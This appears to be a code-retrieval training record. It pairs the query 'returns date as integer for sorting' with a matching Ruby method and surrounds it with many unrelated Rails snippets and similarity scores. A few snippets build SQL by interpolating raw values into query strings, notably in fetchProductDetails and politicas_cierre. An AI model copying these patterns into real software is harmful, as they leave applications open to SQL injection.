"def set_proposed_item\n @budget = Budget.find(params[:budget_id])\n @proposed_item = @budget.proposed_items.find(params[:id])\n # @proposed_item = Proposeditem.find(params[:id])\n end",
"def set_prices\n @price = Price.find(params[:id])\n end",
"def index\n \n if params[:code].present? && params[:match].present?\n @prizes = Prize.where(\"code = ?\",\"#{params[:code]}\").where(\"match_id = ?\",\"#{params[:match]}\")\n else\n if params[:code].present?\n @prizes = Prize.where(\"code = ?\",\"#{params[:code]}\")\n else\n if params[:match].present?\n @prizes = Prize.where(\"match_id = ?\",\"#{params[:match]}\")\n else\n @prizes = Prize.all\n end\n end \n end \n \n if params[:assign?].present?\n if params[:assign?] == \"Yes\"\n @prizes = @prizes.select do |p|\n !p.match.nil?\n end\n else\n if params[:assign?] == \"No\"\n @prizes = @prizes.select do |p|\n p.match.nil?\n end\n end\n end\n end\n \n if params[:owner?].present?\n if params[:owner?] == \"Yes\"\n @prizes = @prizes.select do |p|\n !p.user.nil?\n end\n else\n if params[:owner?] == \"No\"\n @prizes = @prizes.select do |p|\n p.user.nil?\n end\n end\n end\n end\n \n if params[:sort].present?\n if params[:sort]==\"price-asc\"\n @prizes = @prizes.sort_by{|p| [p.price]} \n else\n if params[:sort]==\"price-desc\"\n @prizes = @prizes.sort_by{|p| [-p.price]} \n end \n end\n \n end\n \n \n end",
"def get_table(object)\n raise NotImplementedError, \"Subclasses must implement private method get_table\"\n end",
"def paid_expense_items\n paid_details.map{|pd| pd.expense_item }\n end",
"def relation_value_form\n case params[:method]\n when \"exists?\"\n @partial = parse_option\n when \"average\", \"count\", \"maximum\", \"minimum\", \"sum\", \"calculate\", \"pluck\"\n # Render the column name field.\n @partial = \"calculate\"\n @sub_method = true, @distinct = true if params[:method] == 'calculate'\n @distinct = true if params[:method] == 'count'\n @column_names = calculate_column_names(params[:method])\n end\n end",
"def base_table\n {\n \"Partner\" => ->(distribution) {\n distribution.partner.name\n },\n \"Date of Distribution\" => ->(distribution) {\n distribution.issued_at.strftime(\"%m/%d/%Y\")\n },\n \"Source Inventory\" => ->(distribution) {\n distribution.storage_location.name\n },\n \"Total Items\" => ->(distribution) {\n distribution.line_items.total\n },\n \"Total Value\" => ->(distribution) {\n distribution.cents_to_dollar(distribution.line_items.total_value)\n },\n \"Delivery Method\" => ->(distribution) {\n distribution.delivery_method\n },\n \"State\" => ->(distribution) {\n distribution.state\n },\n \"Agency Representative\" => ->(distribution) {\n distribution.agency_rep\n },\n \"Comments\" => ->(distribution) {\n distribution.comment\n }\n }\n end",
"def current_price; self['CurrentPrice'].to_i; end",
"def price\n @price\n end",
"def price\n @price\n end",
"def active_prices\n prices.where('active = 1')\n end",
"def products\n find_products\n end",
"def set_proprietario\n @proprietario = Proprietario.find(params[:id])\n end",
"def plastic()\n sql = \"SELECT * FROM plastics WHERE id=$1\"\n values=[@plastic_id]\n results= SqlRunner.run(sql, values)\n return Plastic.new( results.first )\nend",
"def rows\n fail \"Implement #{self.class}#rows\"\n end",
"def associated_records\n raise NotImplementedError\n end",
"def product\n self.product_size.product\n end",
"def prices\n Excursion.all.each do |excursion|\n excursion.price \n end\n end",
"def _table; @table end",
"def row; end",
"def relation_by_sql_form\n # Nothing to do here\n end",
"def performance_table_list\n super\n end",
"def index\n @teacher_prizes = TeacherPrize.all\n end",
"def set_prize\n @prize = Prize.find(params[:id])\n @goal = Goal.find(params[:goal_id])\n end",
"def set_prduct\n @prduct = Prduct.find(params[:id])\n end",
"def policies; end",
"def index \n if usuario_actual \n if usuario_actual.dependencium.descripcion == \"usuarioNormal\"\n @pqrs = Pqr.where(usuario: usuario_actual.id)\n elsif usuario_actual.rol.descripcion == \"Super Admin\"\n @pqrs = Pqr.all\n else\n @pqrs = Pqr.where(dependencium: usuario_actual.dependencium)\n end\n\n if usuario_actual.dependencium.descripcion == \"Juridica\"\n @pqrs = Pqr.where(dependencium: usuario_actual.dependencium)\n end\n\n if usuario_actual.dependencium.descripcion == \"Financiera\"\n @pqrs = Pqr.where(dependencium: usuario_actual.dependencium)\n end\n\n if usuario_actual.dependencium.descripcion == \"Administrativa\"\n @pqrs = Pqr.where(dependencium: usuario_actual.dependencium)\n end\n \n else\n redirect_to root_url, notice: \"Debes loguearte o no tienes permisos\"\n end\n end",
"def fetchProductDetails(oppId)\n #puts \"in fetchProductDetails\"\n return checkRecordCreated(\"OpportunityLineItem\", \"SELECT Id,Quantity FROM OpportunityLineItem WHERE OpportunityId = '#{oppId}'\")\n end",
"def table\n Service\n end",
"def update_products_details; end",
"def products\n Product.all\n end",
"def index\n @years = Year.all.to_a\n @payments = PupilHasYear.find_by_sql(\"SELECT pupil_id, year_id, amount, adjusted_price\n FROM pupil_has_years AS phy\n INNER JOIN pupils AS pu\n ON pu.id = phy.pupil_id\n LEFT OUTER JOIN payments AS p\n ON phy.payment_id = p.id\n WHERE pu.user_id=#{current_user.id};\").to_a\n\n # Convenience method to rapidly scan through and find a particular pupil_year\n @payments.define_singleton_method(:find_by_pupil_year) do |*args|\n puts args.inspect\n self.each do |p|\n if p.pupil_id == args[0] && p.year_id == args[1]\n puts \"YAY! #{p.inspect}\"\n return p\n end\n end\n return nil\n end\n\n @pupil_has_years = PupilHasYear.all #.sort_by(:year, :pupil_id)\n end",
"def index\n @ppages = Ppage.all\n end",
"def row_for(user, charges)\n\t\n\tend",
"def pets\n\t\t@pets_list\n\tend",
"def set_prise\n @prise = Prise.find(params[:id])\n end",
"def resultset; end",
"def set_price_list\n @price_list = PriceList.find(params[:id])\n end",
"def rp_id; end",
"def politicas_cierre(id)\n ActiveRecord::Base.connection.select_all(\"select distinct j.journalized_id as \\\"#\\\", \n(select name from issue_statuses where cast(id as char(4))=(select jd.value from journal_details jd where journal_id in (select id from journals where journalized_id=#{id}) and prop_key='status_id' order by jd.id desc limit 1)) as \\\"Estado\\\",\n(select u.firstname || ' ' || u.lastname from users u where cast(id as char(4))=(select jd.value from journal_details jd where journal_id in (select id from journals where journalized_id=#{id}) and prop_key='assigned_to_id' order by jd.id desc limit 1)) as \\\"Asignado\\\",\n j.created_on as \\\"Fecha_inicio\\\"\nfrom journals j join issues i on j.journalized_id=i.id where \nj.id=(select jd.journal_id from journal_details jd where journal_id in (select id from journals where journalized_id=#{id}) and prop_key='status_id' order by jd.id desc limit 1)\norder by 1\n \")\n end",
"def all_proposal_details_rows_sql\n <<-SQL\n SELECT CAST(DocumentID AS INT), ProposalNature, ProposalOutcome, ProposalRepresentation, ProposalNo\n FROM #{table_name}\n GROUP BY DocumentID, ProposalNature, ProposalOutcome, ProposalRepresentation, ProposalNo\n SQL\n end",
"def index\n @propriedades = Propriedade.all\n end",
"def product_details(choice)\n\t#fetch record from products for select user product\n\t\tstatement1=@connection.prepare(\"select * from products where p_id=?\")\n\t\tstatement1.execute(choice)\n\t\trecordset1=statement1.fetch\n\n\t\tloop do\n\t\t\tprint \"\\n\\n\\t\\tEnter quantity: \"\n\t#get quantity from user\n\t\t\t@quantity=gets.to_i\n\t#check quantity condition\n\t\tbreak if @quantity>0 and @quantity<recordset1[2]+1\n\t\t\tputs \"\\n\\n\\t\\tInvalid Quantity!!!...Enter Correct\"\n\t\tend\n\n\t\trows=[]\n\n\t\ttable=Terminal::Table.new\n\t\ttable.headings=[\"Name\",\"Price\",\"Available Stock\",\"Quantity\"]\n\n\t\trows<<[recordset1[1],recordset1[3],recordset1[2],@quantity]\n\n\t\ttable.rows=rows\n\n\t\tputs \"\\n#{table}\"\n\t#insert values into inline product that user selected product\n\t\tstatement3=@connection.prepare(\"insert into inline_products values(?,?,?)\")\n\t\tstatement3.execute(@card_no,choice,@quantity)\n\t\t@connection.commit\n\t#call purchase_more_item method\n\t\tpurchase_more_item\n\tend",
"def index\n @propperties = Propperty.all\n end",
"def relation_value_perform\n # Build the relation depending on the various options (query methods).\n relation = AllTypesObject.all\n # Extract and apply query methods\n relation = apply_query_methods(relation, params)\n\n # Perform the query\n case params[:method]\n when \"any?\", \"blank?\", \"empty?\", \"many?\", \"size\", \"explain\", \"inspect\"\n @result = relation.send(params[:method])\n when \"exists?\"\n case params[:option]\n when \"id\"\n @result = relation.send(params[:method], params[:id])\n when \"conditions_array\"\n @result = relation.send(params[:method], build_conditions('joined', 'array', params[:conditions]).flatten)\n when \"conditions_hash\"\n @result = relation.send(params[:method], *build_conditions('joined', 'hash', params[:conditions]).flatten)\n else\n @result = relation.send(params[:method])\n end\n when \"average\", \"count\", \"maximum\", \"minimum\", \"sum\", \"calculate\", \"pluck\", \"ids\"\n # Check if the column_name is allowed (the column_name parameter for the method pluck is considered safe by Rails and thus this parameter should be checked against a whitelist)\n return redirect_to read_test_relation_value_form_path(params[:method], params[:option]), :alert => \"Selected column_name is not a valid attribute of AllTypesObject!\" if params[:column_name].present? && !calculate_column_names(params[:sub_method] || params[:method]).include?(params[:column_name])\n sub_method = [params[:sub_method].to_sym] if params[:method] == \"calculate\" # Only calculate takes a sub_method. For other methods sub method is ignored and not used as an argument.\n column_name = [params[:column_name].presence] unless params[:method] == 'ids'\n options = [{ :distinct => (params[:distinct_calculate] == \"true\") }] if params[:distinct_calculate].present? # Only count and calculate take distinct (and actually only calculate with sub_method=count used distinct)\n @result = relation.send(params[:method], *sub_method, *column_name, *options)\n else\n raise \"Unknown method '#{params[:method]}'\"\n end\n\n respond_with(@result)\n end",
"def index\n @prus = Pru.all\n end",
"def set_pivot_tbl\n @pivot_tbl = PivotTbl.find(params[:id])\n end",
"def get_records(table_name, opts)\n raise \"implement in subclass\"\n end",
"def price\n \n end",
"def rows\n @rows\n end",
"def table\n Response\n end"
] |
[
"0.5640158",
"0.5582598",
"0.5515971",
"0.54730463",
"0.54309434",
"0.5427365",
"0.539952",
"0.5367814",
"0.53330946",
"0.5300905",
"0.52544",
"0.5216884",
"0.5216884",
"0.5216884",
"0.5216884",
"0.5210196",
"0.5202101",
"0.5171742",
"0.51688",
"0.51688",
"0.5133565",
"0.51325244",
"0.5129245",
"0.5108071",
"0.5099958",
"0.5076782",
"0.5072281",
"0.5065425",
"0.5061034",
"0.50572467",
"0.5055277",
"0.5048382",
"0.50463355",
"0.50393873",
"0.5039282",
"0.5031445",
"0.5031445",
"0.5031445",
"0.50290805",
"0.50268674",
"0.5000636",
"0.4983393",
"0.49788466",
"0.49758157",
"0.49636346",
"0.49616045",
"0.49614853",
"0.49553072",
"0.49518096",
"0.49327695",
"0.49198347",
"0.4917823",
"0.4914805",
"0.49031594",
"0.49007064",
"0.48913977",
"0.48800248",
"0.48768076",
"0.4873966",
"0.4873966",
"0.48711854",
"0.48605856",
"0.48519075",
"0.48435497",
"0.4842582",
"0.4837065",
"0.4835443",
"0.48319888",
"0.48287877",
"0.4827117",
"0.48255047",
"0.48247793",
"0.48209494",
"0.48172608",
"0.4814254",
"0.48139843",
"0.48118404",
"0.4808068",
"0.47879803",
"0.47840336",
"0.47802582",
"0.4778276",
"0.477811",
"0.4777916",
"0.47760212",
"0.47702932",
"0.47694173",
"0.47634327",
"0.4756416",
"0.4755438",
"0.47527596",
"0.47464144",
"0.47395942",
"0.47361562",
"0.47326675",
"0.47320852",
"0.47320807",
"0.47313073",
"0.4728384",
"0.47280532",
"0.4725536"
] |
0.0
|
-1
|
returns date as integer for sorting
|
def last_day_i
last_date = $db.execute("SELECT day_i FROM prices ORDER BY day_i DESC LIMIT 1")
last_date = last_date[0][0]
return last_date
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ordinal_date(date)\n date - date.beginning_of_year\n end",
"def start_date_as_integer\n as_integer @start_date\n end",
"def pub_date_sort\n if pub_date\n pd = pub_date\n pd = '0' + pd if pd.length == 3\n pd = pd.gsub('--', '00')\n end\n fail \"pub_date_sort was about to return a non 4 digit value #{pd}!\" if pd && pd.length != 4\n\n pd\n end",
"def convert_date(date)\n date.strftime(\"%Y%m%d\").to_i if date\n end",
"def sortable_year_int_for_early_numeric\n return orig_date_str.to_i if orig_date_str.match(EARLY_NUMERIC)\n\n orig_date_str.to_i if orig_date_str =~ /^-\\d{4}$/\n end",
"def ordinalize(date)\n\t date = datetime(date)\n\t \"#{date.strftime('%b')} #{ordinal(date.strftime('%e').to_i)}, #{date.strftime('%Y')}\"\n\tend",
"def sortable_year_int_for_bc\n bc_matches = orig_date_str.match(BC_REGEX) if orig_date_str\n \"-#{$1}\".to_i if bc_matches\n end",
"def ordinalize(date)\n date = datetime(date)\n \"#{date.strftime('%b')} #{ordinal(date.strftime('%e').to_i)}, #{date.strftime('%Y')}\"\n end",
"def ordinalDate\n ordinal = DAYS_THUS_FAR[@month].to_i + @day.to_i\n if leapYear? && @month > 2\n ordinal = ordinal + 1\n end\n return ordinal\n end",
"def to_i\n self.day.to_i\n end",
"def sort_name\n if start_date.present?\n 10_000_000_000 - start_date.to_time.to_i # because always sorted ASC and we want sooner first\n elsif end_date.present?\n 10_000_000_000 - end_date.to_time.to_i # because always sorted ASC and we want sooner first\n else\n 10_000_000_000\n end\n end",
"def dateToNumber _args\n \"dateToNumber _args;\" \n end",
"def calculate_sort_value\n return nil unless day\n dummy_time = dummy_time_for_day DAYS.index(day) + 1\n self.sort_value = (dummy_time.to_f * 100).to_i\n end",
"def calculate_sort_value\n return nil unless day\n dummy_time = dummy_time_for_day DAYS.index(day) + 1\n self.sort_value = (dummy_time.to_f * 100).to_i\n end",
"def post_year\n chars = @date.split('')\n chars.pop(4).join('').to_i\n end",
"def created_at_as_i\n created_at.to_i\n end",
"def created_at_as_i\n created_at.to_i\n end",
"def to_date()\n #This is a stub, used for indexing\n end",
"def date_humanized(date_as_integer)\n begin\n Time.at(date_as_integer).to_date.strftime(\"%m/%d/%y\")\n rescue\n nil\n end\n end",
"def get_object_sortable_date\n\t\tdate = nil\n if descMetadata.origin_info && (descMetadata.origin_info.date_issued || descMetadata.origin_info.date_valid)\n\t\t\tbegin\n\t\t\t\tdate_valid = descMetadata.origin_info.date_valid.first.to_s\n\t\t\t\tdate_issued = descMetadata.origin_info.date_issued.first.to_s\n\t\t\t\t\t\n\t\t\t\tif date_valid.size > 0\n\t\t\t\t\tdate_valid = descMetadata.origin_info.date_valid.first\n\t\t\t\t\tif date_valid.include? \"/\"\n\t\t\t\t\t\t\tval = to_long_date(date_valid[date_valid.index('/')+1..date_valid.size])\n\t\t\t\t\telse\n\t\t\t\t\t\t\tval = to_long_date(date_valid) \n\t\t\t\t\tend\n\t\t\t\telsif\tdate_issued.size > 0\n\t\t\t\t\tif date_issued.include? \"/\"\n\t\t\t\t\t\t\tval = to_long_date(date_issued[date_issued.index('/')+1..date_issued.size])\n\t\t\t\t\telse\t\t\t\n\t\t\t\t\t\tval = to_long_date(descMetadata.origin_info.date_issued.first)\n\t\t\t\t\tend\n\t\t\t\tend\n \t\t\t\tif val\n\t\t\t\t\tdate = Time.parse val\n\t\t\t\tend\n\t\t\trescue ArgumentError => e\n #nop\n end\n\t\tend\n\tend",
"def to_date\n find\n end",
"def to_i\n year * 100 + month\n end",
"def get_date(index:)\n\t\t\treturn (@start_date + index).to_s\n\t\tend",
"def epoch_from_date(date)\n\tdate.to_time.to_i\nend",
"def numberToDate _args\n \"numberToDate _args;\" \n end",
"def to_index\n yday + (year-2000) * 1000\n end",
"def jd_to_ordinal(j, sg=nil)\n jd(j).send(:ordinal)\n end",
"def start_date\n @records.min { |a,b| a[:date] <=> b[:date] }[:date]\n end",
"def id\n (published_at.to_date.to_s(:db).gsub('-','') + published_at.min.to_s + published_at.sec.to_s).to_i\n end",
"def sortable_year_for_yyyy\n matches = orig_date_str.match(/\\d{4}/) if orig_date_str\n matches.to_s if matches\n end",
"def sortable_year_str_for_early_numeric\n return unless orig_date_str.match(EARLY_NUMERIC)\n\n if orig_date_str =~ /^\\-/\n # negative number becomes x - 1000 for sorting; -005 for -995\n num = orig_date_str[1..-1].to_i - 1000\n return '-' + num.to_s[1..-1].rjust(3, '0')\n else\n return orig_date_str.rjust(4, '0')\n end\n end",
"def date_index(date)\n dates.find_index(date)\n end",
"def end_date_as_integer\n as_integer @end_date\n end",
"def date\n moment.floor\n end",
"def wrong_date(num)\n first_day(num).text\nend",
"def ordinalize(date)\n \"#{date.strftime('%b %-d')}#{ordinal_suffix(date)}, #{date.strftime('%Y')}\"\n end",
"def day_to_index(day_num)\n check_pre((\n (day_num.int?)\n ))\n\n return day_num - 1\nend",
"def year_int_from_date_str\n return if orig_date_str == '0000-00-00' # shpc collection has these useless dates\n # B.C. first in case there are 4 digits, e.g. 1600 B.C.\n return sortable_year_int_for_bc if orig_date_str.match(BC_REGEX)\n\n result = sortable_year_for_yyyy_or_yy\n result ||= sortable_year_for_decade # 19xx or 20xx\n result ||= sortable_year_for_century\n result ||= sortable_year_int_for_early_numeric\n unless result\n # try removing brackets between digits in case we have 169[5] or [18]91\n no_brackets = remove_brackets\n return DateParsing.new(no_brackets).year_int_from_date_str if no_brackets\n end\n result.to_i if result && self.class.year_int_valid?(result.to_i)\n end",
"def key_by_date\n self.strftime('%Y-%m-%d')\n end",
"def ordinalize(date)\n date = datetime(date)\n d = \"<span class='date-month'>#{date.strftime('%b')}</span> \"\n d = \"<span class='date-day'>#{date.strftime('%e')}</span> \"\n d += \"<span class='date-suffix'>#{ordinal_suffix(date)}</span>, \"\n d += \"<span class='date-year'>#{date.strftime('%Y')}</span>\"\n end",
"def human_occurrence_date(occurrence)\n if date = occurrence.date\n if date.year == Date.today.year\n date.strftime '%B %d'\n else\n date.strftime '%B %d, %Y'\n end\n end\n end",
"def day_num_to_index(day_num)\n check_pre((\n (day_num.int?)\n ))\n\n return day_num - 1\nend",
"def idade\n if nascimento != nil\n now = Time.now.utc.to_date\n now.year - nascimento.year - ((now.month > nascimento.month || (now.month == nascimento.month && now.day >= nascimento.day)) ? 0 : 1)\n else\n '--'\n end \n end",
"def entries_by_date(date)\r\n return @entries_by_date[date].sort { |a,b|\r\n a.date <=> b.date\r\n }\r\n end",
"def sorted_posts_by_date\n @items.select do |i|\n ! ( REGEXP_DATE_ISO.match(i.identifier).nil? )\n end.sort do |a,b|\n a.identifier <=> b.identifier\n end.reverse\nend",
"def sortable_year_str_for_bc\n bc_matches = orig_date_str.match(BC_REGEX) if orig_date_str\n ($1.to_i - 1000).to_s if bc_matches\n end",
"def sort_by_dob!\n @entries.sort! { |a,b| a.dob <=> b.dob }\n end",
"def dates\n @dates ||= @sequence.keys.sort\n end",
"def published_natural\n @published.strftime(\"#{@published.day.ordinalize} %B %Y\")\n end",
"def sort_dates(parsed_dates)\n date_hasher = lambda {|h, k| h[k] = Hash.new(&date_hasher)}\n\n parsed_dates.inject(Hash.new(&date_hasher)) do |hsh, d|\n if hsh[d.year][d.month][d.wday].kind_of?(Array)\n hsh[d.year][d.month][d.wday] << d.day\n else\n hsh[d.year][d.month][d.wday] = [d.day]\n end\n hsh\n end\n end",
"def facet_sort_field_for_solr\n date_to_order_by = event_start\n # puts \"T1: date_to_order_by = #{date_to_order_by}\"\n date_to_order_by = entry_deadline if is_opportunity?\n # puts \"T2: date_to_order_by = #{date_to_order_by}\"\n date_to_order_by = Time.parse(\"12/31/2037\") if date_to_order_by.blank?\n # puts \"T3: date_to_order_by = #{date_to_order_by}\"\n return FinderHelper.date_for_solr_ymd(date_to_order_by)\n end",
"def sortable_year_for_yyyy_or_yy\n # most date strings have a four digit year\n result = sortable_year_for_yyyy\n result ||= sortable_year_for_yy # 19xx or 20xx\n result\n end",
"def ordinal_dayindex(num, day_index)\n # create a date object at the first occurrence of day_index\n first_occ_date = ZDate.new(ZDate.format_date(year_str, month_str)).this(day_index)\n # confirm that the day actually falls in the month\n this_month = ZDate.new(ZDate.format_date(year_str, month_str)).month\n if first_occ_date.month != this_month\n num += 1\n end\n\n # if num is 1 through 4, we can just add (num-1) weeks\n if num <= 4\n d = first_occ_date.add_weeks(num - 1)\n else\n # we want the last occurrence of this month\n # add 4 weeks to first occurrence, see if we are in the same month, subtract 1 week if we are not\n d = first_occ_date.add_weeks(4)\n if d.month != month\n d = d.sub_weeks(1)\n end\n end\n d\n end",
"def order_years(item)\n return item.sort_by{|k, v| k.to_i}\n end",
"def get_date(row, col)\n ensure_not_empty(row, col)\n m = row[col].match(%r[^(\\d\\d)/(\\d{1,2})/(\\d\\d\\d\\d)$])\n raise \"bad #{col} value \\\"#{row[col]}\\\": #{row}\" unless m && m.length-1 == 3\n m.captures.map {|s| s.to_i}\nend",
"def best_day\n date_hash = {}\n date.each do |date|\n if date_hash.has_key? date\n date_hash[date] += 1\n else \n date_hash[date] = 1\n end\n end\n puts date_hash.values.max\n day = date_hash.key(date_hash.values.max)\n return day.strftime(\"%m/%d/%Y\")\n end",
"def convert_date(hash, date_symbol_or_string)\n attribute = date_symbol_or_string.to_s\n return Date.new(hash[attribute + '(1i)'].to_i, hash[attribute + '(2i)'].to_i, hash[attribute + '(3i)'].to_i) \n end",
"def to_date\n Date.new(year, number, 1)\n end",
"def formal_publication_date\n publication_date.to_s(:formal_wo_ordinal)\n end",
"def mongoize\n ::Date.mongoize(self)\n end",
"def date_to_index (array)\n\t\t\ta = []\n\t\t\tarray.each_with_index do |x, i|\n\t\t\t\tif i % 2 == 1\n\t\t\t\t\ta.push((x*2)-2)\n\t\t\t\telse\n\t\t\t\t\ta.push(x)\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn a\n\t\tend",
"def entry_dates()\r\n return @entries_by_date.keys.sort.reverse()\r\n end",
"def interpret_date(date)\n d = Chronic::parse(date) if date.is_a?(String)\n d = Time.at(date) if date.is_a?(Fixnum)\n \n d.utc.to_i * 1000\n end",
"def convert_date(hash, date_symbol_or_string)\n attribute = date_symbol_or_string.to_s\n return Date.new(hash[attribute + '(1i)'].to_i, hash[attribute + '(2i)'].to_i, hash[attribute + '(3i)'].to_i) \n end",
"def json_date\n start_time.to_i\n end",
"def sortable_year_for_yy\n return unless orig_date_str\n\n slash_matches = orig_date_str.match(/\\d{1,2}\\/\\d{1,2}\\/\\d{2}/)\n if slash_matches\n date_obj = Date.strptime(orig_date_str, '%m/%d/%y')\n else\n hyphen_matches = orig_date_str.match(/\\d{1,2}-\\d{1,2}-\\d{2}/)\n date_obj = Date.strptime(orig_date_str, '%m-%d-%y') if hyphen_matches\n end\n if date_obj && date_obj > Date.today\n date_obj = Date.new(date_obj.year - 100, date_obj.month, date_obj.mday)\n end\n date_obj.year.to_s if date_obj\n rescue ArgumentError\n nil # explicitly want nil if date won't parse\n end",
"def date()\n\t\t(@start_date.to_time + (10**9)).to_date\n\tend",
"def year_sort_str(date_el_array)\n result = date_parsing_result(date_el_array, :sortable_year_string_from_date_str)\n return result if result\n\n sortable_str, _ignore = self.class.earliest_year_str(date_el_array)\n sortable_str if sortable_str\n end",
"def params_to_date(params,key)\r\n date = Date.civil(params[key][:year].to_i, params[key][:month].to_i, params[key][:day].to_i)\r\n end",
"def ruby_value\n ::Date.parse(@date_time_value.strftime(\"%Y%m%d\"))\n end",
"def date() self[:date]; end",
"def created_at_for_solr\n return FinderHelper.strip(created_at.to_i)\n end",
"def pub_date_facet\n return nil unless pub_date\n return \"#{pub_date.to_i + 1000} B.C.\" if pub_date.start_with?('-')\n return pub_date unless pub_date.include? '--'\n\n \"#{pub_date[0, 2].to_i + 1}th century\"\n end",
"def qnum(d)\n\t\td = d.to_date\n\t\tif(d.month >= 2 && d.month <= 4)\n\t\t\treturn 1\n\t\telsif(d.month >= 5 && d.month <= 7)\n\t\t\treturn 2\n\t\telsif(d.month >= 8 && d.month <= 10)\n\t\t\treturn 3\n\t\telse\n\t\t\treturn 4\n\t\tend\n\tend",
"def easy_date; date; end",
"def to_i\n sprintf(\"%04d%02d%02d%02d%02d%02d\", year, mon, day, hour, min, sec).to_i\n end",
"def serial_to_date (s)\r\n\t\t# round down and convert from string if need be\r\n\t\t# zero day is actually \"Jan 0\" and indexing starts from 1, so subtract 2\r\n\t\ts = s.to_i() - 2\r\n\t\t# add to zero day\r\n\t\treturn JAN_1_1900 + s\r\n\tend",
"def date; end",
"def date; end",
"def date; end",
"def date; end",
"def day_identifier\n day_baseline = Date.parse(\"2020-06-01\")\n number_baseline = 91\n\n baseline_shift = date.mjd - day_baseline.mjd\n\n number_baseline + baseline_shift\n end",
"def to_i\n return self.time.to_i\n end",
"def get_date(row_data)\n values = row_data.to_s.chomp.split(' ')\n month = values.map { |token| MONTHS[token.downcase] }.compact.first\n year = values.find { |token| /\\d{4}/ =~ token }\n date = Date.new(year.to_i, month)\n @latest_date = date if latest_date < date\n date\n end",
"def to_i\n to_d.to_i\n end",
"def index_to_day_num(index)\n check_pre((\n (index.int?)\n ))\n\n return index + 1\nend",
"def date_s_to_i(date_str)\n require 'time'\n \n if not validate_date_str(date_str)\n raise BlankGenerationConversionException, \"Invalid date value #{date_str}\"\n end\n \n Time.parse(date_str).to_i\nend",
"def impression_date_by_order(order_type = :minimum)\n # impressions.order(created_at: order_type)\n # .limit(1)\n # .first\n # .created_at.to_date\n\n impressions.send(order_type, :created_at).to_date\n end",
"def as_date\n strftime \"%Y-%m-%d\"\n end",
"def publication_date(field = nil)\n IsoDay.cast(find_record_items(field).first)&.to_s if field\n end",
"def date\n result_hash['dte']\n end",
"def date(object)\n object.strftime(\"%b %d, %Y\")\n end",
"def mongoize\n \"#{format('%04d', year)}-#{format('%02d', month)}-#{format('%02d', day)}\"\n end",
"def resolve_date(date_str)\n u_count = date_str.count 'u'\n # Replace unknown digits with 0.\n date = date_str.tr('u', '0').to_i\n if u_count.positive? && date != 0\n delta = 10**u_count # 10^u_count, exponent\n date + (delta / 2) if delta <= ESTIMATE_TOLERANCE\n elsif date != 0\n date\n end\n end",
"def get_receipt_sortable_code\n if self.receipt_num > 0\n Receipt.check_date_receipt_is_not_nil( id, receipt_num, date_receipt )\n \"#{ date_receipt.strftime(\"%Y\") }#{ sprintf(\"%03i\", receipt_num) }\"\n else\n ''\n end\n end",
"def day\n created.strftime '%d'\n end",
"def sort_by_date(items)\n in_progress = items.select { |item| item[:date].nil? }\n .sort_by { |item| item[:name].downcase }\n done = items - in_progress\n done = done.sort do |item_a, item_b|\n case item_a[:date] <=> item_b[:date]\n when -1 then 1\n when 1 then -1\n else\n item_a[:name].downcase <=> item_b[:name].downcase\n end\n end\n in_progress + done\n end",
"def day\n return self.to_a[IDX_DAY]\n end",
"def literal_date(v)\n v.strftime(\"{d '%Y-%m-%d'}\")\n end",
"def month_number\n date.month\n end",
"def date_order(task1, task2)\n\t\treturn -1 if task1.has_date? == false && task2.has_date? == true \n\t\treturn 1 if task1.has_date? == true && task2.has_date? == false\n\t\ttask1.date <=> task2.date if task1.has_date? == true && task2.has_date? == true\n\t\tid_order(task1, task2) if task1.date == task2.date\n\tend"
] |
[
"0.68294954",
"0.6789244",
"0.6723997",
"0.6662796",
"0.65276384",
"0.6329748",
"0.62860316",
"0.6192552",
"0.61768067",
"0.61762977",
"0.61536807",
"0.61433184",
"0.61109555",
"0.61109555",
"0.61021763",
"0.6067088",
"0.6067088",
"0.6065549",
"0.6062195",
"0.60131454",
"0.5916853",
"0.5897587",
"0.58662343",
"0.5853031",
"0.58431107",
"0.5820558",
"0.5818807",
"0.5817797",
"0.5817301",
"0.5746149",
"0.5731732",
"0.5719899",
"0.5715739",
"0.5714767",
"0.5713432",
"0.5710487",
"0.57067263",
"0.5676962",
"0.566878",
"0.564296",
"0.56248075",
"0.562016",
"0.56187963",
"0.55999225",
"0.55889595",
"0.5559255",
"0.5532488",
"0.55191725",
"0.55190396",
"0.5517606",
"0.5517116",
"0.55144674",
"0.5510521",
"0.55084306",
"0.54999673",
"0.54733676",
"0.5470878",
"0.5458327",
"0.54507023",
"0.54374576",
"0.5435196",
"0.5432863",
"0.5432023",
"0.54319733",
"0.5424711",
"0.541672",
"0.54089236",
"0.5406323",
"0.5400182",
"0.53968716",
"0.539192",
"0.5387351",
"0.5385934",
"0.5384762",
"0.53812724",
"0.5380461",
"0.5375656",
"0.5375083",
"0.5375083",
"0.5375083",
"0.5375083",
"0.53657866",
"0.53457993",
"0.5345582",
"0.53447986",
"0.53404564",
"0.5332768",
"0.5330157",
"0.5313132",
"0.53120065",
"0.5306879",
"0.53033644",
"0.53016454",
"0.5300041",
"0.5298556",
"0.5297175",
"0.5294511",
"0.52934587",
"0.5290644",
"0.5284423",
"0.5284263"
] |
0.0
|
-1
|
returns date as a string
|
def last_date_s
last_date = $db.execute("SELECT day FROM prices ORDER BY day_i DESC LIMIT 1")
last_date = last_date[0][0]
return last_date
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def date_str d\n Util::date(d)\n end",
"def date_str\n date.strftime(\"%Y%m%d\")\n end",
"def to_s\n date.strftime(DATE_FORMAT)\n end",
"def as_string(date)\n date.strftime(\"%b %d, %Y\")\n end",
"def to_s()\n str = \"\" + @date.month.to_s() + \"/\" + @date.mday.to_s() + \"/\" + @date.year.to_s()\n return str\n end",
"def to_string\n return @year.to_s + \" \" + @month.to_s + \" \" + @day.to_s\n end",
"def to_s\n @date\n end",
"def date_to_s\n self.date.strftime(\"%B %d, %Y\")\n end",
"def to_s\n \"#{@date.to_s}: #{@text}\"\n end",
"def format_date\n chars = @date.split('')\n chars.pop(6)\n chars.join('')\n end",
"def date_str\n if self.jd.nil?\n return \"\"\n else\n Date.jd(self.jd).strftime(\"%B %d, %Y\")\n end\n end",
"def start_date_as_string\n as_string @start_date\n end",
"def date_to_s( date = object.meeting_date )\n Format.a_date( date )\n end",
"def date\n \"#{day} #{month.capitalize} #{year}\"\n end",
"def showdate(my_date)\n if my_date\n str_date=my_date.to_date.strftime(\"%d-%m-%Y\")\n else\n str_date=\"\"\n end\n return str_date\n end",
